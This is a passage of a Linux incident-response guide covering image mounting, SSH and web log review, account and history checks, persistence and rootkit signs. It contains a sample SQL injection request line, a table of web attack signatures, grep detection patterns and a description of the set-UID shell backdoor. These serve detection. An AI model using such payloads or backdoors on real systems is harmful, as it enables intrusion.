* &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt;: an image taken from a machine that was running is usually &amp;quot;dirty,&amp;quot; meaning the file system&#039;s journal has unfinished changes. A plain read-only mount then fails (check &amp;lt;code&amp;gt;dmesg | tail&amp;lt;/code&amp;gt;). &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses &amp;lt;code&amp;gt;norecovery&amp;lt;/code&amp;gt; instead, and often also needs &amp;lt;code&amp;gt;nouuid&amp;lt;/code&amp;gt; if your workstation has a file system with the same ID.&lt;br /&gt;
* A partition that is not part of LVM (often &amp;lt;code&amp;gt;/boot&amp;lt;/code&amp;gt;) needs no LVM step: mount it straight from the image with &amp;lt;code&amp;gt;mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot&amp;lt;/code&amp;gt; (add &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; if it complains about the journal).&lt;br /&gt;
&lt;br /&gt;
Take the layers down in reverse order when you are done:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo umount /mnt/data&lt;br /&gt;
sudo vgchange -a n VOLUME_GROUP_NAME&lt;br /&gt;
sudo losetup -d /dev/loop0&lt;br /&gt;
sudo umount /mnt/img             # the ewfmount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Traps when reading a mounted image:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Owner names shown by &amp;lt;code&amp;gt;ls -l&amp;lt;/code&amp;gt; come from &#039;&#039;&#039;your workstation&#039;s&#039;&#039;&#039; &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, not the image&#039;s, so UID 1001 might display as the wrong person. Use &amp;lt;code&amp;gt;ls -ln&amp;lt;/code&amp;gt; (numbers) or look up the IDs in the image&#039;s own &amp;lt;code&amp;gt;/mnt/data/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Absolute symbolic links inside the image point at your own system&#039;s files, not the image&#039;s. Check with &amp;lt;code&amp;gt;readlink&amp;lt;/code&amp;gt; instead of simply blindly trusting what a link shows you.&lt;br /&gt;
* Most tools can read a copy of a log directly: &amp;lt;code&amp;gt;last -aiF -f /mnt/data/var/log/wtmp&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;journalctl -D /mnt/data/var/log/journal&amp;lt;/code&amp;gt; (if the system kept a persistent journal).&lt;br /&gt;
&lt;br /&gt;
== Step 2: Find the way in ==&lt;br /&gt;
&lt;br /&gt;
=== Remote login (SSH) ===&lt;br /&gt;
&lt;br /&gt;
Password guessing against SSH is constant background noise on any internet-facing host. The question is not &amp;quot;was I attacked?&amp;quot; (you were, of course) but &amp;quot;did any guess succeed?&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# which addresses failed the most (the address is the 4th field from the end of the line)&lt;br /&gt;
sudo grep &amp;quot;Failed password&amp;quot; /var/log/auth.log | awk &#039;{print $(NF-3)}&#039; | sort | uniq -c | sort -nr | head&lt;br /&gt;
&lt;br /&gt;
# did any of them ever get in?&lt;br /&gt;
sudo grep &amp;quot;Accepted&amp;quot; /var/log/auth.log&lt;br /&gt;
&lt;br /&gt;
# every event involving one address, in order&lt;br /&gt;
sudo grep -E &amp;quot;Failed|Accepted&amp;quot; /var/log/auth.log | grep 198.51.100.7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output (addresses here are from the reserved documentation ranges, not real hosts):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2&lt;br /&gt;
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2&lt;br /&gt;
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2&lt;br /&gt;
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The pattern to worry about is &#039;&#039;&#039;many failures, then a success, from the same address&#039;&#039;&#039;, especially for an account that should never log in from that place. Confirm with the login records:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
last -aiF | head -20               # recent logins with full timestamps and source IPs&lt;br /&gt;
sudo lastb -aiF | head -20         # recent failed logins&lt;br /&gt;
lastlog | grep -v &amp;quot;Never logged in&amp;quot;&lt;br /&gt;
journalctl -u ssh --since &amp;quot;2026-09-10&amp;quot; -g &amp;quot;Accepted&amp;quot;   # the unit is &amp;quot;sshd&amp;quot; on RHEL-family systems&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Be aware that these records are easy to lose: &amp;lt;code&amp;gt;wtmp&amp;lt;/code&amp;gt; is often rotated (truncated) weekly or monthly, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt; may not be kept at all because failed logins can contain mistyped passwords, and &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;&#039;s format varies between systems.&lt;br /&gt;
&lt;br /&gt;
Success by public key leaves a different line (&amp;lt;code&amp;gt;Accepted publickey for ...&amp;lt;/code&amp;gt;). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Web applications ===&lt;br /&gt;
&lt;br /&gt;
Web server access logs record one line per request. In the common &amp;quot;combined&amp;quot; format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] &amp;quot;GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1&amp;quot; 500 1024 &amp;quot;-&amp;quot; &amp;quot;sqlmap/1.7&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start with an overview, and then zoom in on one address:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LOG=/var/log/apache2/access.log     # /var/log/nginx/access.log, or /var/log/httpd/access_log&lt;br /&gt;
&lt;br /&gt;
awk &#039;{print $1}&#039; $LOG | sort | uniq -c | sort -nr | head     # busiest clients&lt;br /&gt;
awk &#039;{print $9}&#039; $LOG | sort | uniq -c | sort -nr            # status code counts&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG                                   # everything one client did&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attackers usually send their payload URL-encoded (&amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt; is &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt; is a space). Decode the lines you are reading:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG | python3 -c &#039;import sys,urllib.parse as u; [print(u.unquote(l),end=&amp;quot;&amp;quot;) for l in sys.stdin]&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(A plain &amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt; in a query string can also mean a space; &amp;lt;code&amp;gt;unquote&amp;lt;/code&amp;gt; leaves it alone so timestamps such as &amp;lt;code&amp;gt;+0000&amp;lt;/code&amp;gt; stay readable.)&lt;br /&gt;
&lt;br /&gt;
==== What common web attacks look like in the log ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Attack !! What to look for in the request !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| SQL injection || &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;UNION SELECT&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;OR 1=1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt;, or an automated-tool User-Agent such as &amp;lt;code&amp;gt;sqlmap&amp;lt;/code&amp;gt; || A burst of &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; errors from one client while it probes is typical. A later run of &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; responses with unusually large sizes can mean data came back.&lt;br /&gt;
|-&lt;br /&gt;
| Cross-site scripting (XSS) || &amp;lt;code&amp;gt;&amp;amp;lt;script&amp;amp;gt;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%3Cscript&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;onerror=&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;javascript:&amp;lt;/code&amp;gt; || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).&lt;br /&gt;
|-&lt;br /&gt;
| Path traversal / file inclusion || &amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;..%2f&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%2e%2e&amp;lt;/code&amp;gt;, or a path like &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; in a parameter || A &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; with a plausible response size means the file may have been returned.&lt;br /&gt;
|-&lt;br /&gt;
| Command injection || Shell metacharacters (&amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%3B&amp;lt;/code&amp;gt;, backticks, &amp;lt;code&amp;gt;$(&amp;lt;/code&amp;gt;) followed by commands like &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; || Confirm with the process tree: did the web server user spawn anything?&lt;br /&gt;
|-&lt;br /&gt;
| Shellshock (CVE-2014-6271) || &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; at the start of a header value, usually User-Agent, against a &amp;lt;code&amp;gt;/cgi-bin/&amp;lt;/code&amp;gt; script || Old and long patched, but a good example: the attack rides in a header, not the URL.&lt;br /&gt;
|-&lt;br /&gt;
| Web shell upload || A POST to an upload form, then GET requests to a brand-new &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; file in the upload directory || Look for files the application should not have created.&lt;br /&gt;
|-&lt;br /&gt;
| Scanning and reconnaissance || Many &amp;lt;code&amp;gt;404&amp;lt;/code&amp;gt;s, requests for &amp;lt;code&amp;gt;/.env&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/wp-login.php&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/phpmyadmin&amp;lt;/code&amp;gt;, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)&lt;br /&gt;
grep -iE &amp;quot;union.{1,10}select|sqlmap|%27&amp;quot; $LOG            # SQL injection&lt;br /&gt;
grep -iE &amp;quot;&amp;lt;script|%3Cscript|onerror=&amp;quot; $LOG               # XSS&lt;br /&gt;
grep -E &amp;quot;\.\./|%2e%2e|/etc/passwd&amp;quot; $LOG                   # path traversal&lt;br /&gt;
grep -E &#039;\(\) *\{&#039; $LOG                                   # Shellshock-style header&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important limits of access logs.&#039;&#039;&#039; The server does not log &#039;&#039;&#039;POST bodies&#039;&#039;&#039; or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare &amp;lt;code&amp;gt;POST /login&amp;lt;/code&amp;gt; line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; status only means the request was served, not that the attack worked, and a &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; does not mean it failed.&lt;br /&gt;
&lt;br /&gt;
==== From a request to a compromise ====&lt;br /&gt;
&lt;br /&gt;
A logged attack request proves that someone &#039;&#039;tried&#039;&#039; to attack. To decide whether it &#039;&#039;worked&#039;&#039;, follow it into the rest of the system:&lt;br /&gt;
&lt;br /&gt;
* Did a process appear in the tree, owned by the web server user (&amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;apache&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;nginx&amp;lt;/code&amp;gt;), just after the request timestamp?&lt;br /&gt;
* Is that process holding a network connection to an address that is not one of your users or dependencies?&lt;br /&gt;
* Are there new or modified files in the web root, &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; from about the same time?&lt;br /&gt;
* Did the same client address go on to do anything else (a second request type, a login)?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# files in the web root changed in the last 2 days&lt;br /&gt;
sudo find /var/www -type f -mtime -2 -ls&lt;br /&gt;
&lt;br /&gt;
# PHP files that call functions commonly used by web shells (often noisy)&lt;br /&gt;
sudo grep -RIlE &amp;quot;(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(&amp;quot; /var/www --include=*.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Step 3: What did they do? ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation and account activity ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo grep -E &amp;quot;sudo:|su\[|su:&amp;quot; /var/log/auth.log | grep -E &amp;quot;COMMAND=|session opened&amp;quot;   # who ran what as root&lt;br /&gt;
sudo grep -E &amp;quot;useradd|usermod|groupadd|passwd\[&amp;quot; /var/log/auth.log                     # account changes&lt;br /&gt;
awk -F: &#039;$3==0 {print $1}&#039; /etc/passwd            # accounts with UID 0 should be only &amp;quot;root&amp;quot;&lt;br /&gt;
sudo awk -F: &#039;$2==&amp;quot;&amp;quot; {print $1}&#039; /etc/shadow      # accounts with an empty password&lt;br /&gt;
grep -vE &#039;(nologin|false)$&#039; /etc/passwd           # accounts that can log in interactively&lt;br /&gt;
ls -l /etc/sudoers.d/; sudo grep -rvE &#039;^\s*(#|$)&#039; /etc/sudoers /etc/sudoers.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A second UID-0 account, or a regular user suddenly present in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as &amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;mysql&amp;lt;/code&amp;gt;) still have a non-login shell and no usable password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, and that nobody has been quietly added to a privileged group in &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Command history ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo sh -c &#039;ls -l /root/.bash_history /home/*/.bash_history&#039;   # empty? a symlink to /dev/null? recently truncated?&lt;br /&gt;
sudo sh -c &#039;cat /root/.bash_history /home/*/.bash_history&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What to keep in mind about &amp;lt;code&amp;gt;.bash_history&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
* It has &#039;&#039;&#039;no timestamps&#039;&#039;&#039; by default (unless &amp;lt;code&amp;gt;HISTTIMEFORMAT&amp;lt;/code&amp;gt; was set). To date a command, match it with other evidence:a log line, a file&#039;s timestamp, or a process start time. For example, a &amp;lt;code&amp;gt;useradd&amp;lt;/code&amp;gt; in the history can be tied to the log entry for the new account and the modification time of &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* It is a plain text file. Attackers can edit or delete it, clear it (&amp;lt;code&amp;gt;history -c&amp;lt;/code&amp;gt;), unset &amp;lt;code&amp;gt;HISTFILE&amp;lt;/code&amp;gt;, or link it to &amp;lt;code&amp;gt;/dev/null&amp;lt;/code&amp;gt;. Older copies sometimes survive in the disk&#039;s unallocated space, so searching a disk image for typical command strings can recover deleted history.&lt;br /&gt;
* An &#039;&#039;empty or missing&#039;&#039; history on an account that is otherwise active is itself worth noting.&lt;br /&gt;
&lt;br /&gt;
=== Other traces users leave behind ===&lt;br /&gt;
&lt;br /&gt;
Interactive use of a Linux system leaves small traces in the user&#039;s home directory. Individually minor, they often fill in the story:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! File (in the user&#039;s home directory) !! What it can show&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/authorized_keys&amp;lt;/code&amp;gt; || Keys that can log in &#039;&#039;to&#039;&#039; this account. Any key you do not recognize is a possible back door.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/known_hosts&amp;lt;/code&amp;gt; || Machines this user connected &#039;&#039;out to&#039;&#039; over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/config&amp;lt;/code&amp;gt; || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.lesshst&amp;lt;/code&amp;gt; || Search terms typed into the &amp;lt;code&amp;gt;less&amp;lt;/code&amp;gt; pager, and commands run from inside it.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.viminfo&amp;lt;/code&amp;gt; || Files recently edited in &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; (with the position in each), plus its search and command history.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/recently-used.xbel&amp;lt;/code&amp;gt; || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/Trash/&amp;lt;/code&amp;gt; || Files deleted through the desktop; the &amp;lt;code&amp;gt;info/&amp;lt;/code&amp;gt; folder records where each came from.&lt;br /&gt;
|-&lt;br /&gt;
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== The audit framework ===&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;auditd&amp;lt;/code&amp;gt; is installed and configured, it is the best source for &amp;quot;who ran what.&amp;quot; For example, with a rule that watches account files:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# in /etc/audit/rules.d/identity.rules&lt;br /&gt;
-w /etc/passwd -p wa -k identity&lt;br /&gt;
-w /etc/shadow -p wa -k identity&lt;br /&gt;
&lt;br /&gt;
# later, when investigating&lt;br /&gt;
sudo ausearch -k identity -i         # events that matched the rule, human-readable&lt;br /&gt;
sudo aureport -au                    # authentication summary&lt;br /&gt;
&lt;br /&gt;
# the same tools can read logs copied off a machine or mounted from an image&lt;br /&gt;
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If keystroke (TTY) auditing was enabled, &amp;lt;code&amp;gt;aureport --tty&amp;lt;/code&amp;gt; can show what was typed. Auditing has to be set up &#039;&#039;before&#039;&#039; the incident; it cannot reconstruct events that were never recorded.&lt;br /&gt;
&lt;br /&gt;
== Step 4: Persistence ==&lt;br /&gt;
&lt;br /&gt;
Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# scheduled tasks&lt;br /&gt;
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily&lt;br /&gt;
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family&lt;br /&gt;
sudo ls -la /var/spool/cron/atjobs/ 2&amp;gt;/dev/null   # one-time &amp;quot;at&amp;quot; jobs (Debian/Ubuntu)&lt;br /&gt;
systemctl list-timers --all&lt;br /&gt;
&lt;br /&gt;
# services and units&lt;br /&gt;
systemctl list-unit-files --state=enabled&lt;br /&gt;
sudo find /etc/systemd /usr/lib/systemd -type f -newermt &amp;quot;2026-09-01&amp;quot;&lt;br /&gt;
ls -la ~/.config/systemd/user 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# SSH keys (any key listed here can log in as that user with no password)&lt;br /&gt;
sudo find / -xdev -name authorized_keys -exec ls -l {} \;&lt;br /&gt;
sudo sh -c &#039;cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys&#039; 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# shell start-up files that run at every login&lt;br /&gt;
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc&lt;br /&gt;
&lt;br /&gt;
# programs injected into every process (normally this file is absent or empty)&lt;br /&gt;
cat /etc/ld.so.preload 2&amp;gt;/dev/null&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Older systems use init scripts under &amp;lt;code&amp;gt;/etc/init*&amp;lt;/code&amp;gt; instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a &#039;&#039;&#039;script that a legitimate task already runs&#039;&#039;&#039;. Look at what your scheduled tasks and services actually execute, not only at their configuration.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Back doors beyond start-up entries:&#039;&#039;&#039; a web shell in the web root; a replacement &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; with a built-in password; an extra UID 0 account; a service account given a password; an added &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; line; a broadened &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt; entry; and the set-UID trick below.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Set-UID/set-GID programs.&#039;&#039;&#039; A program with the set-UID bit runs with its &#039;&#039;owner&#039;s&#039;&#039; privileges rather than the user&#039;s (this is how &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; can update &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with &amp;lt;code&amp;gt;-p&amp;lt;/code&amp;gt;, so it does not drop its privileges) is root again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# set-UID / set-GID programs anywhere outside /usr (there should be very few)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path &#039;/usr/*&#039; -ls 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# the full list of set-UID programs&lt;br /&gt;
sudo find / -xdev -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compare the full list against a clean machine of the same OS, the same baseline-and-&amp;lt;code&amp;gt;diff&amp;lt;/code&amp;gt; technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, and dot-prefixed directories under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev&amp;lt;/code&amp;gt; are all worth a closer look.&lt;br /&gt;
&lt;br /&gt;
=== A post-exploitation checklist ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Check !! How&lt;br /&gt;
|-&lt;br /&gt;
| New or unexpected SSH keys || Read every &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;. If you find one, search your other machines for the same key.&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected group members || Compare &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; against what you expect, especially groups named in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Unlocked service accounts || Service accounts should have &amp;lt;code&amp;gt;nologin&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;) as their shell and no valid password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Extra UID 0 accounts || &amp;lt;code&amp;gt;awk -F: &#039;$3==0&#039; /etc/passwd&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Edited sudo rules || Read &amp;lt;code&amp;gt;/etc/sudoers&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/sudoers.d/&amp;lt;/code&amp;gt; directly.&lt;br /&gt;
|-&lt;br /&gt;
| Unauthorized set-UID bits || The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; commands above.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Step 5: Rootkits and tampering ==&lt;br /&gt;
&lt;br /&gt;
A &#039;&#039;&#039;rootkit&#039;&#039;&#039; is malware built to hide itself and the attacker&#039;s other activity. Two kinds are common on Linux:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;User-space (library preload) rootkits&#039;&#039;&#039; install a malicious shared library and make every program load it (through &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt; or the &amp;lt;code&amp;gt;LD_PRELOAD&amp;lt;/code&amp;gt; variable), so that &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; and friends quietly leave out the attacker&#039;s files, processes and connections. Older rootkits simply replaced those programs.&lt;br /&gt;
* &#039;&#039;&#039;Kernel-module (LKM) rootkits&#039;&#039;&#039; load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under &amp;lt;code&amp;gt;/usr/src&amp;lt;/code&amp;gt;) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.&lt;br /&gt;
&lt;br /&gt;
=== Signs something is being hidden ===&lt;br /&gt;
&lt;br /&gt;
* Basic tools misbehave, disagree with each other, or stop working (&amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; failing on an otherwise healthy system).&lt;br /&gt;
* A listening port shows in a port scan from another machine but not in &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; on the host.&lt;br /&gt;
* Disk usage that does not add up, or CPU usage with no process to explain it.&lt;br /&gt;
* Logs with unexplained gaps, zero-length files (&amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;) or timestamps that jump backwards.&lt;br /&gt;
